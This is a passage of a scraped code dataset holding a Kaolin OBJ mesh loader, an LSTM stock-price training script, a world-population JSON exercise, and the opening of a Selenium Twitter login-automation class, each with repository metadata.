"call"}, {"api_name": "FeatureExtraction.FrequencyDomain.getall_fd_features", "line_number": 110, "usage_type": "call"}, {"api_name": "FeatureExtraction.FrequencyDomain", "line_number": 110, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.NUM_BINS_FOR_FFT", "line_number": 110, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 110, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINLENGTH", "line_number": 111, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 111, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINSTEP", "line_number": 112, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 112, "usage_type": "name"}, {"api_name": "FeatureExtraction.FrequencyDomain.getall_fd_features", "line_number": 113, "usage_type": "call"}, {"api_name": "FeatureExtraction.FrequencyDomain", "line_number": 113, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.NUM_BINS_FOR_FFT", "line_number": 113, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 113, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINLENGTH", "line_number": 114, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 114, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINSTEP", "line_number": 115, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 115, "usage_type": "name"}, {"api_name": "FeatureExtraction.FrequencyDomain.getall_fd_features", "line_number": 116, "usage_type": "call"}, {"api_name": "FeatureExtraction.FrequencyDomain", "line_number": 116, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.NUM_BINS_FOR_FFT", "line_number": 116, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 116, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINLENGTH", "line_number": 117, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 117, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINSTEP", "line_number": 118, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 118, "usage_type": "name"}, {"api_name": "FeatureExtraction.FrequencyDomain.getall_fd_features", "line_number": 119, "usage_type": "call"}, {"api_name": "FeatureExtraction.FrequencyDomain", "line_number": 119, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.NUM_BINS_FOR_FFT", "line_number": 119, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 119, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINLENGTH", "line_number": 120, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 120, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINSTEP", "line_number": 121, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 121, "usage_type": "name"}, {"api_name": "FeatureExtraction.ITheoryDomain.getall_itd_features", "line_number": 123, "usage_type": "call"}, {"api_name": "FeatureExtraction.ITheoryDomain", "line_number": 123, "usage_type": "name"}, {"api_name": "FeatureExtraction.ITheoryDomain.getall_itd_features", "line_number": 124, "usage_type": "call"}, {"api_name": "FeatureExtraction.ITheoryDomain", "line_number": 124, "usage_type": "name"}, {"api_name": "FeatureExtraction.ITheoryDomain.getall_itd_features", "line_number": 125, "usage_type": "call"}, {"api_name": "FeatureExtraction.ITheoryDomain", "line_number": 125, "usage_type": "name"}, {"api_name": "FeatureExtraction.ITheoryDomain.getall_itd_features", "line_number": 126, "usage_type": "call"}, {"api_name": "FeatureExtraction.ITheoryDomain", "line_number": 126, "usage_type": "name"}, {"api_name": "FeatureExtraction.TimeDomain.getall_td_feature", "line_number": 128, "usage_type": "call"}, {"api_name": "FeatureExtraction.TimeDomain", "line_number": 128, "usage_type": "name"}, {"api_name": "FeatureExtraction.TimeDomain.getall_td_feature", "line_number": 129, "usage_type": "call"}, {"api_name": "FeatureExtraction.TimeDomain", "line_number": 129, "usage_type": "name"}, {"api_name": "FeatureExtraction.TimeDomain.getall_td_feature", "line_number": 130, "usage_type": "call"}, {"api_name": "FeatureExtraction.TimeDomain", "line_number": 130, "usage_type": "name"}, {"api_name": "FeatureExtraction.TimeDomain.getall_td_feature", "line_number": 131, "usage_type": "call"}, {"api_name": "FeatureExtraction.TimeDomain", "line_number": 131, "usage_type": "name"}, {"api_name": "FeatureExtraction.WaveletDomain.wavelet_features", "line_number": 133, "usage_type": "call"}, {"api_name": "FeatureExtraction.WaveletDomain", "line_number": 133, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.MOTHER_WAVELET", "line_number": 133, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 133, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WAVEDEC_LEVEL", "line_number": 134, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 134, "usage_type": "name"}, {"api_name": "FeatureExtraction.WaveletDomain.wavelet_features", "line_number": 135, "usage_type": "call"}, {"api_name": "FeatureExtraction.WaveletDomain", "line_number": 135, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.MOTHER_WAVELET", "line_number": 135, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 135, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WAVEDEC_LEVEL", "line_number": 136, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 136, "usage_type": "name"}, {"api_name": "FeatureExtraction.WaveletDomain.wavelet_features", "line_number": 137, "usage_type": "call"}, {"api_name": "FeatureExtraction.WaveletDomain", "line_number": 137, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.MOTHER_WAVELET", "line_number": 137, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 137, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WAVEDEC_LEVEL", "line_number": 138, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 138, "usage_type": "name"}, {"api_name": "FeatureExtraction.WaveletDomain.wavelet_features", "line_number": 139, "usage_type": "call"}, {"api_name": "FeatureExtraction.WaveletDomain", "line_number": 139, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.MOTHER_WAVELET", "line_number": 139, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 139, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WAVEDEC_LEVEL", "line_number": 140, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 140, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 158, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 159, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 160, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 161, "usage_type": "call"}]}
{"seq_id": "30692476875", "text": "import os\nimport warnings\nfrom collections import namedtuple\n\nimport numpy as np\nimport torch\nfrom PIL import Image\n\nfrom kaolin.io.materials import MaterialLoadError, MaterialFileError, MaterialNotFoundError, \\\n    process_materials_and_assignments\nfrom kaolin.io import utils\n\n__all__ = [\n    'ignore_error_handler',\n    'skip_error_handler',\n    'create_missing_materials_error_handler',\n    'default_error_handler',\n    'import_mesh'\n]\n\nreturn_type = namedtuple('return_type',\n                         ['vertices', 'faces', 'uvs', 'face_uvs_idx', 'materials',\n                          'material_assignments', 'normals', 'face_normals_idx'])\n\n\ndef ignore_error_handler(error, **kwargs):\n    \"\"\"Simple error handler to use in :func:`load_obj` that ignore all errors\"\"\"\n    pass\n\n\ndef skip_error_handler(error, **kwargs):\n    \"\"\"Simple error handler to use in :func:`load_obj` that skips all errors\n    and logs them as warnings.\"\"\"\n    warnings.warn(error.args[0], UserWarning)\n\n\ndef create_missing_materials_error_handler(error, **kwargs):\n    \"\"\"Error error_handler to be provided to obj.read_mesh that can handle MaterialNotFound error,\n    returning a dummy material with a random diffuse color instead. Material will contain\n    an additional \"error\" field. MaterialFileError and MaterialLoadError will print a warning\n    and be ignored.\"\"\"\n    if type(error) == MaterialNotFoundError:\n        warnings.warn(f'{error.args[0]}, creating dummy material instead', UserWarning)\n        return {'Ka': torch.rand((3,)), 'error': f'Dummy material created for missing material: {error}'}\n    elif type(error) in [MaterialFileError, MaterialLoadError]:\n        warnings.warn(error.args[0], UserWarning)\n    else:\n        raise error\n\n\ndef default_error_handler(error, **kwargs):\n    \"\"\"Simple error handle to use in :func:`load_obj` that raises all errors.\"\"\"\n    raise error\n\n\ndef flatten_feature(feature):\n    \"\"\"Flatten the nested list of a feature.\n    \"\"\"\n    if feature is None or len(feature) == 0:\n        return None\n    else:\n        return [item for sublist in feature for item in sublist]\n\n\n# TODO(cfujitsang): support https://en.wikipedia.org/wiki/Wavefront_.obj_file#Geometric_vertex ?\ndef import_mesh(path, with_materials=False, with_normals=False,\n                error_handler=None, heterogeneous_mesh_handler=None,\n                triangulate=False):\n    r\"\"\"Load data from an obj file as a single mesh.\n\n    With limited materials support to Kd, Ka, Ks, map_Kd, map_Ka and map_Ks.\n    Followed format described in: http://paulbourke.net/dataformats/obj/\n\n    Args:\n        path (str): path to the obj file (with extension).\n        with_materials (bool): if True, load materials. Default: False.\n        with_normals (bool): if True, load vertex normals. Default: False.\n        error_handler (Callable, optional):\n            function that handles errors that can be raised (see raised errors, except `NonHomogeneousMeshError`\n            handled separately), with the signature ``error_handler(error: Exception, **kwargs)``.\n            Handler can provide special treatment of :class:`MaterialNotFoundError`,\n            returning a dummy material dictionary instead (if this is not the case, assignments to\n            non-existent materials will be lost). For options see:\n            :func:`create_missing_materials_error_handler`, :func:`skip_error_handler`, :func:`ignore_error_handler`,\n            and :func:`default_error_handler` (**Default** is to raise all errors).\n        heterogeneous_mesh_handler (Callable, optional):\n            function that handles a heterogeneous mesh, homogenizing, returning None or throwing error,\n            with the following signature:\n            ``heterogeneous_mesh_handler(vertices, face_vertex_counts, *args, face_assignments)``\n            for example, see :func:`mesh_handler_naive_triangulate `\n            and :func:`heterogeneous_mesh_handler_skip `.\n            Default: will raise a NonHomogeneousMeshError.\n        triangulate: if True, will triangulate all non-triangular meshes using same logic as\n            :func:`mesh_handler_naive_triangulate `.\n\n    Returns:\n        (obj.return_type):\n            namedtuple of:\n\n            - **vertices** (torch.Tensor): vertex locations of shape :math:`(\\text{num_vertices}, 3)`.\n            - **faces** (torch.LongTensor): indices into vertex array\n              of shape :math:`(\\text{num_faces}, \\text{face_size})`.\n            - **uvs** (torch.Tensor): UV map coordinates of shape :math:`(\\text{num_uvs}, 2)`.\n            - **face_uvs_idx** (torch.LongTensor): indices into UVmap for every vertex of every face\n              of shape :math:`(\\text{num_faces}, \\text{face_size})`.\n            - **materials** (list of dict):\n              a list of materials (see return values of :func:`load_mtl`) sorted by their `material_name`.\n            - **material_assignments** (dict of torch.LongTensor): (torch.ShortTensor): of shape `(\\text{num_faces},)`\n                containing index of the material (in the `materials` list) assigned to the corresponding face,\n                or `-1` if no material was assigned.\n            - **normals** (torch.Tensor): normal values of shape :math:`(\\text{num_normals}, 3)`.\n            - **face_normals_idx** (torch.LongTensor): indices into the normal array for every vertex\n              of every face, of shape :math:`(\\text{num_faces}, \\text{face_size})`.\n\n    Raises:\n        MaterialNotFoundError:\n            The .obj is using a material not parsed from material libraries (set `error_handler` to skip).\n        MaterialFileError:\n            From :func:`load_mtl`: Failed to open material path (set `error_handler` to skip).\n        MaterialLoadError:\n            From :func:`load_mtl`: Failed to load material, very often due to path to\n            map_Kd/map_Ka/map_ks being invalid (set `error_handler` to skip).\n        NonHomogeneousMeshError:\n            The number of vertices were not equal for all faces (set `heterogeneous_mesh_handler` to handle).\n    \"\"\"\n    triangulate_handler = None if not triangulate else utils.mesh_handler_naive_triangulate\n\n    if error_handler is None:\n        error_handler = default_error_handler\n    vertices = []\n    faces = []\n    uvs = []\n    # 3 values per face\n    face_uvs_idx = []\n    normals = []\n    # 3 values per face\n    face_normals_idx = []\n\n    # materials_dict contains:\n    #   {material_name: {properties dict}}\n    materials_dict = {}\n\n    # material_assignments contain:\n    #    {material_name: [(face_idx_start, face_idx_end], (face_idx_start, face_idx_end])\n    material_assignments_dict = {}\n    material_faceidx_start = None\n    active_material_name = None\n\n    def _maybe_complete_material_assignment():\n        if active_material_name is not None:\n            if material_faceidx_start != len(face_uvs_idx):  # Only add if at least one face is assigned\n                material_assignments_dict.setdefault(active_material_name, []).append(\n                    torch.LongTensor([material_faceidx_start, len(face_uvs_idx)]))\n\n    with open(path, 'r', encoding='utf-8') as f:\n        for line in f:\n            data = line.split()\n            if len(data) == 0:\n                continue\n            if data[0] == 'v':\n                vertices.append(data[1:])\n            elif with_materials and data[0] == 'vt':\n                uvs.append(data[1:3])\n            elif with_normals and data[0] == 'vn':\n                normals.append(data[1:])\n            elif data[0] == 'f':\n                data = [da.split('/') for da in data[1:]]\n                faces.append([int(d[0]) for d in data])\n                if with_materials:\n                    if len(data[1]) > 1 and data[1][1] != '':\n                        face_uvs_idx.append([int(d[1]) for d in data])\n                    else:\n                        face_uvs_idx.append([0] * len(data))\n                if with_normals:\n                    if len(data[1]) > 2:\n                        face_normals_idx.append([int(d[2]) for d in data])\n                    else:\n                        face_normals_idx.append([0] * len(data))\n            elif with_materials and data[0] == 'usemtl':\n                _maybe_complete_material_assignment()\n                active_material_name = data[1]\n                material_faceidx_start = len(face_uvs_idx)\n            elif with_materials and data[0] == 'mtllib':\n                mtl_path = os.path.join(os.path.dirname(path), data[1])\n                materials_dict.update(load_mtl(mtl_path, error_handler))\n\n    _maybe_complete_material_assignment()\n\n    vertices = torch.FloatTensor([float(el) for sublist in vertices for el in sublist]).view(-1, 3)\n    face_vertex_counts = torch.IntTensor([len(f) for f in faces])\n    # key: (Nx2) tensor of (start, end faceidx]\n    material_assignments_dict = {k: torch.stack(v) for k, v in material_assignments_dict.items()}\n\n    def _apply_handler(handler):\n        all_features = [faces, face_uvs_idx, face_normals_idx]\n        # Flatten all features\n        all_features = [flatten_feature(f) for f in all_features]\n        return handler(vertices, face_vertex_counts, *all_features, face_assignments=material_assignments_dict)\n\n    # Handle non-homogeneous meshes\n    is_heterogeneous = not torch.all(face_vertex_counts == face_vertex_counts[0])\n    if is_heterogeneous:\n        if heterogeneous_mesh_handler is None:\n            raise utils.NonHomogeneousMeshError(f'Mesh is non-homogeneous '\n                                                f'and cannot be imported from {path}.'\n                                                f'User can set heterogeneous_mesh_handler.'\n                                                f'See kaolin.io.utils for the available options')\n\n        mesh = _apply_handler(heterogeneous_mesh_handler)\n        if mesh is None:\n            warnings.warn(f'Heterogeneous mesh at path {path} not converted by the handler; returning None.')\n            return None\n        vertices, face_vertex_counts, faces, face_uvs_idx, face_normals_idx, material_assignments_dict = mesh\n\n    if triangulate_handler is not None and not torch.all(face_vertex_counts == 3):\n        mesh = _apply_handler(triangulate_handler)\n        if mesh is None:\n            warnings.warn(f'Non-triangular mesh at path {path} not triangulated; returning None.')\n            return None\n        vertices, face_vertex_counts, faces, face_uvs_idx, face_normals_idx, material_assignments_dict = mesh\n\n    faces = torch.LongTensor(faces) - 1\n\n    if with_materials:\n        uvs = torch.FloatTensor([float(el) for sublist in uvs\n                                 for el in sublist]).view(-1, 2)\n        face_uvs_idx = torch.LongTensor(face_uvs_idx) - 1\n        materials, material_assignments = process_materials_and_assignments(\n            materials_dict, material_assignments_dict, error_handler, faces.shape[0], error_context_str=path)\n    else:\n        uvs = None\n        face_uvs_idx = None\n        materials = None\n        material_assignments = None\n\n    if with_normals:\n        normals = torch.FloatTensor(\n            [float(el) for sublist in normals\n             for el in sublist]).view(-1, 3)\n        face_normals_idx = torch.LongTensor(face_normals_idx) - 1\n    else:\n        normals = None\n        face_normals_idx = None\n\n    return return_type(vertices, faces, uvs, face_uvs_idx, materials,\n                       material_assignments, normals, face_normals_idx)\n\n\ndef load_mtl(mtl_path, error_handler):\n    \"\"\"Load and parse a Material file.\n\n    Followed format described in: https://people.sc.fsu.edu/~jburkardt/data/mtl/mtl.html.\n    Currently only support diffuse, ambient and specular parameters (Kd, Ka, Ks)\n    through single RGB values or texture maps.\n\n    Args:\n        mtl_path (str): Path to the mtl file.\n\n    Returns:\n        (dict):\n            Dictionary of materials, which are dictionary of properties with optional torch.Tensor values:\n\n            - **Kd**: diffuse color of shape (3)\n            - **map_Kd**: diffuse texture map of shape (H, W, 3)\n            - **Ks**: specular color of shape (3)\n            - **map_Ks**: specular texture map of shape (H', W', 3)\n            - **Ka**: ambient color of shape (3)\n            - **map_Ka**: ambient texture map of shape (H'', W'', 3)\n            - **material_name**: string name of the material\n\n    Raises:\n        MaterialFileError:\n            Failed to open material path.\n        MaterialLoadError:\n            Failed to load material, very often due to path to map_Kd/map_Ka/map_Ks being invalid.\n    \"\"\"\n    mtl_data = {}\n    root_dir = os.path.dirname(mtl_path)\n\n    try:\n        f = open(mtl_path, 'r', encoding='utf-8')\n    except Exception as e:\n        error_handler(MaterialFileError(\n            f\"Failed to load material at path '{mtl_path}':\\n{e}\"),\n            mtl_path=mtl_path, mtl_data=mtl_data)\n    else:\n        for line in f.readlines():\n            data = line.split()\n            if len(data) == 0:\n                continue\n            try:\n                if data[0] == 'newmtl':\n                    material_name = data[1]\n                    mtl_data[material_name] = {'material_name': material_name}\n                elif data[0] in {'map_Kd', 'map_Ka', 'map_Ks'}:\n                    texture_path = os.path.join(root_dir, data[1])\n                    img = Image.open(texture_path)\n                    if img.mode != 'RGB':\n                        img = img.convert('RGB')\n                    mtl_data[material_name][data[0]] = torch.from_numpy(\n                        np.array(img))\n                elif data[0] in {'Kd', 'Ka', 'Ks'}:\n                    mtl_data[material_name][data[0]] = torch.tensor(\n                        [float(val) for val in data[1:]])\n            except Exception as e:\n                error_handler(MaterialLoadError(\n                    f\"Failed to load material at path '{mtl_path}':\\n{e}\"),\n                    data=data, mtl_data=mtl_data)\n        f.close()\n    return mtl_data\n", "repo_name": "YuQiao0303/kaolin", "sub_path": "kaolin/io/obj.py", "file_name": "obj.py", "file_ext": "py", "file_size_in_byte": 14144, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.namedtuple", "line_number": 21, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 34, "usage_type": "call"}, {"api_name": "kaolin.io.materials.MaterialNotFoundError", "line_number": 42, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 44, "usage_type": "call"}, {"api_name": "kaolin.io.materials.MaterialFileError", "line_number": 45, "usage_type": "name"}, {"api_name": "kaolin.io.materials.MaterialLoadError", "line_number": 45, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 46, "usage_type": "call"}, {"api_name": "kaolin.io.utils.mesh_handler_naive_triangulate", "line_number": 126, "usage_type": "attribute"}, {"api_name": "kaolin.io.utils", "line_number": 126, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 184, "usage_type": "call"}, {"api_name": "os.path", "line_number": 184, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 184, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.IntTensor", "line_number": 190, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.all", "line_number": 201, "usage_type": "call"}, {"api_name": "kaolin.io.utils.NonHomogeneousMeshError", "line_number": 204, "usage_type": "call"}, {"api_name": "kaolin.io.utils", "line_number": 204, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 211, "usage_type": "call"}, {"api_name": "torch.all", "line_number": 215, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 218, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 222, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 225, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 227, "usage_type": "call"}, {"api_name": "kaolin.io.materials.process_materials_and_assignments", "line_number": 228, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 240, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 278, "usage_type": "call"}, {"api_name": "os.path", "line_number": 278, "usage_type": "attribute"}, {"api_name": "kaolin.io.materials.MaterialFileError", "line_number": 283, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 296, "usage_type": "call"}, {"api_name": "os.path", "line_number": 296, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 297, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 297, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 301, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 303, "usage_type": "call"}, {"api_name": "kaolin.io.materials.MaterialLoadError", "line_number": 306, "usage_type": "call"}]}
{"seq_id": "28219750780", "text": "import pandas as pd\nimport torch\n\nfrom dataset import Dataset\nfrom model import LSTMStockPriceModel\n\n\nif __name__ == '__main__':\n    batch_size = 16\n    lr = 0.0001\n    epochs = 100\n\n    # set device to cuda if available\n    device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n\n    print('Set up Data Loader...')\n    df = pd.read_csv('../data/stocks_prices_prep.csv', sep=';')#.sample(frac=1).head(4)\n    train_set = Dataset(df, seq_len=30)\n    train_loader = torch.utils.data.DataLoader(train_set, batch_size=batch_size, shuffle=False, drop_last=True)\n    print(f'Series length: {len(train_set)}')\n\n    print('Loaded model to device...')\n    model = LSTMStockPriceModel().float()\n    model = model.to(device)\n\n    total_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\n    print(f'Trainable model parameters: {total_params}')\n\n    print('Setup Adam optimizer...')\n    optimizer = torch.optim.Adam(\n        model.parameters(),\n        lr=lr,\n    )\n\n    print('Setup loss function...')\n    loss = torch.nn.MSELoss(reduction='sum').to(device)\n    monitor_loss = torch.nn.L1Loss()\n\n    print('Start train loop...')\n    for epoch in range(1, epochs+1):\n        epoch_loss = 0\n        epoch_monitor_loss = 0\n\n        # reset state every epoch\n        state = None\n\n        # iter over batches\n        for x, y in train_loader:\n            # move data to device\n            x = x.to(device)\n            y = y[:, 0, :].to(device)\n\n            # get prediction\n            state = None\n            y_pred, state = model(x, state)\n\n            # compute loss\n            batch_loss = loss(y_pred, y)\n            epoch_loss += batch_loss\n            batch_monitor_loss = monitor_loss(y_pred, y)\n            epoch_monitor_loss += batch_monitor_loss\n\n            # perform gradient step\n            model.zero_grad()\n            batch_loss.backward()\n            optimizer.step()\n\n        print(f'EPOCH: {epoch} of {epochs} with MSELoss: {epoch_loss/len(train_set):.5f} and MAELoss: {epoch_monitor_loss/len(train_set):.5f}')\n\n    print('Save model...')\n    torch.save(model.state_dict(), 'lstm.t7')\n", "repo_name": "tim-roethig-db/masters_thesis", "sub_path": "deprecated/lstm/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 2141, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.cuda.is_available", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}, {"api_name": "dataset.Dataset", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 19, "usage_type": "attribute"}, {"api_name": "model.LSTMStockPriceModel", "line_number": 23, "usage_type": "call"}, {"api_name": "model.to", "line_number": 24, "usage_type": "call"}, {"api_name": "model.parameters", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 30, "usage_type": "attribute"}, {"api_name": "model.parameters", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn.L1Loss", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "attribute"}, {"api_name": "model.zero_grad", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 71, "usage_type": "call"}, {"api_name": "model.state_dict", "line_number": 71, "usage_type": "call"}]}
{"seq_id": "23729532933", "text": "import json\n\n# with open('worldpopulation.json','r') as f:\nwith open(input('File Name: '),'r') as f:\n    data = json.load(f)\n    # print(data)\n\ndef c1():\n    nCountry = 0\n    for i in data:\n        nCountry += 1\n    print(nCountry)\n\ndef c2():\n    pop = 0\n    for i in range(len(data)):\n        pop += int(data[i]['population'])\n    print(pop)\n\ndef c3():\n    cLetter = 0\n    moreThanFive = 0\n    for i in range(len(data)):\n        ac = data[i]['country']\n        if ac[0] == \"C\":\n            cLetter += 1\n        if len(ac) > 5:\n            moreThanFive += 1\n    print(cLetter)\n    print(moreThanFive)\n\ndef c4():\n    gt500M = 0        # 1)มากกว่า 500 ล้านคน\n    mid = 0           # 2)ระหว่าง 250 ถึง 750 ล้านคน\n    lt10M = 0         # 3)น้อยกว่า 10 ล้าน\n    for i in range(len(data)):\n        p = int(data[i]['population'])\n        if p > 500000000:\n            gt500M += 1\n        if p > 250000000 and p < 750000000:\n            mid += 1\n        if p < 10000000:\n            lt10M += 1\n    print(gt500M)\n    print(mid)\n    print(lt10M)\n\ndef c5():\n    topPop = sorted([float(i['World']) for i in data],reverse=True)\n    top20 = sum([topPop[i] for i in range(20)])*100\n    top50to150 = sum([topPop[i] for i in range(49,150)])*100\n    print(f'{top20:.2f}')\n    print(f'{top50to150:.2f}')\n\n\n# def c5():\n#     topPop = sorted([int(i['population']) for i in data],reverse=True)\n#     sumTop20 = sum([topPop[i] for i in range(20)])\n#     sum50to150 = sum([topPop[i] for i in range(49,150)])\n#     sumPop = sum(topPop)\n#     print(f\"{(sumTop20/sumPop)*100:.2f}\")\n#     print(f\"{(sum50to150/sumPop)*100:.2f}\")\n#     # print(topPop[49]-topPop[149])\n\nx = int(input('Input : '))\nif x == 1:\n    c1()\nelif x == 2:\n    c2()\nelif x == 3:\n    c3()\nelif x == 4:\n    c4()\nelif x == 5:\n    c5()", "repo_name": "KanonKC/CPE-34-Computor-and-Programming", "sub_path": "Lab 10 - JSON/10-01 World population.py", "file_name": "10-01 World population.py", "file_ext": "py", "file_size_in_byte": 1856, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 5, "usage_type": "call"}]}
{"seq_id": "8267961596", "text": "import platform\nfrom selenium import webdriver\nfrom time import sleep\nfrom datetime import datetime\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver import ActionChains\nfrom webdriver_manager.firefox import GeckoDriverManager\n\nimport os\nimport sys\nimport glob\nimport random\nimport pickle\nimport time\nimport traceback\n\nfrom datetime import datetime, timezone\nfrom .utils import save_yaml, load_yaml\n\n\nclass SeleniumTwitterBot:\n    # login url\n    url = \"https://twitter.com\"\n    notification_url = \"https://twitter.com/notifications\"\n    home_url = \"https://twitter.com/home\"\n\n    # ------------------------ALL XPATHS--------------------------\n    # login banner at the bottom of a page, if logged out\n    # if screen is small, somehow the path is different!?\n    enter_login_button_alt_xpath = \"//*[@id='layers']/div/div[1]/div/div/div/div/div/div/div/div[1]/a\"\n    # on normal screen\n    enter_login_button_xpath = \"//*[@id='layers']/div/div[1]/div/div/div/div[2]/div[2]/div/div/div[1]/a\"\n    banner_xpath = \"//*[@id='modal-header']/span\"\n\n    # email input and next button\n    # user_name_input_xpath= \"/html/body/div/div/div/div[1]/div/div/div/div/div/div/div[2]/div[2]/div/div/div[2]/div[2]/div/div/div/div[5]/label/div/div[2]/div/input\"\n    email_input_xpath = \"//*[@id='layers']/div/div/div/div/div/div/div[2]/div[2]/div/div/div[2]/div[2]/div/div/div/div[5]/label/div/div[2]/div/input\"\n    next_button_xpath = \"//*[@id='layers']/div/div/div/div/div/div/div[2]/div[2]/div/div/div[2]/div[2]/div/div/div/div[6]/div\"\n\n    # password input and login button\n    password_input_xpath = (\n        \"//*[@id='layers']/div[2]/div/div/div/div/div/div[2]/div[2]/div/div/div[2]/div[2]/div[1]/div/div/div[3]/div/label/div/div[2]/div[1]/input\"\n    )\n    login_button_xpath = \"//*[@id='layers']/div[2]/div/div/div/div/div/div[2]/div[2]/div/div/div[2]/div[2]/div[2]/div/div[1]/div/div/div\"\n\n    # possible warning title\n    title_xpath = \"//*[@id='modal-header']/span/span\"\n    warning_title = \"Enter your phone number or username\"\n    warning_detail_xpath = (\n        \"//*[@id='layers']/div[2]/div/div/div/div/div/div[2]/div[2]/div/div/div[2]/div[2]/div[1]/div/div[1]/div/div/div/div/span/span\"\n    )\n\n    # unusual activity input and next button (leading to password screen)\n    warning_input_xpath = (\n        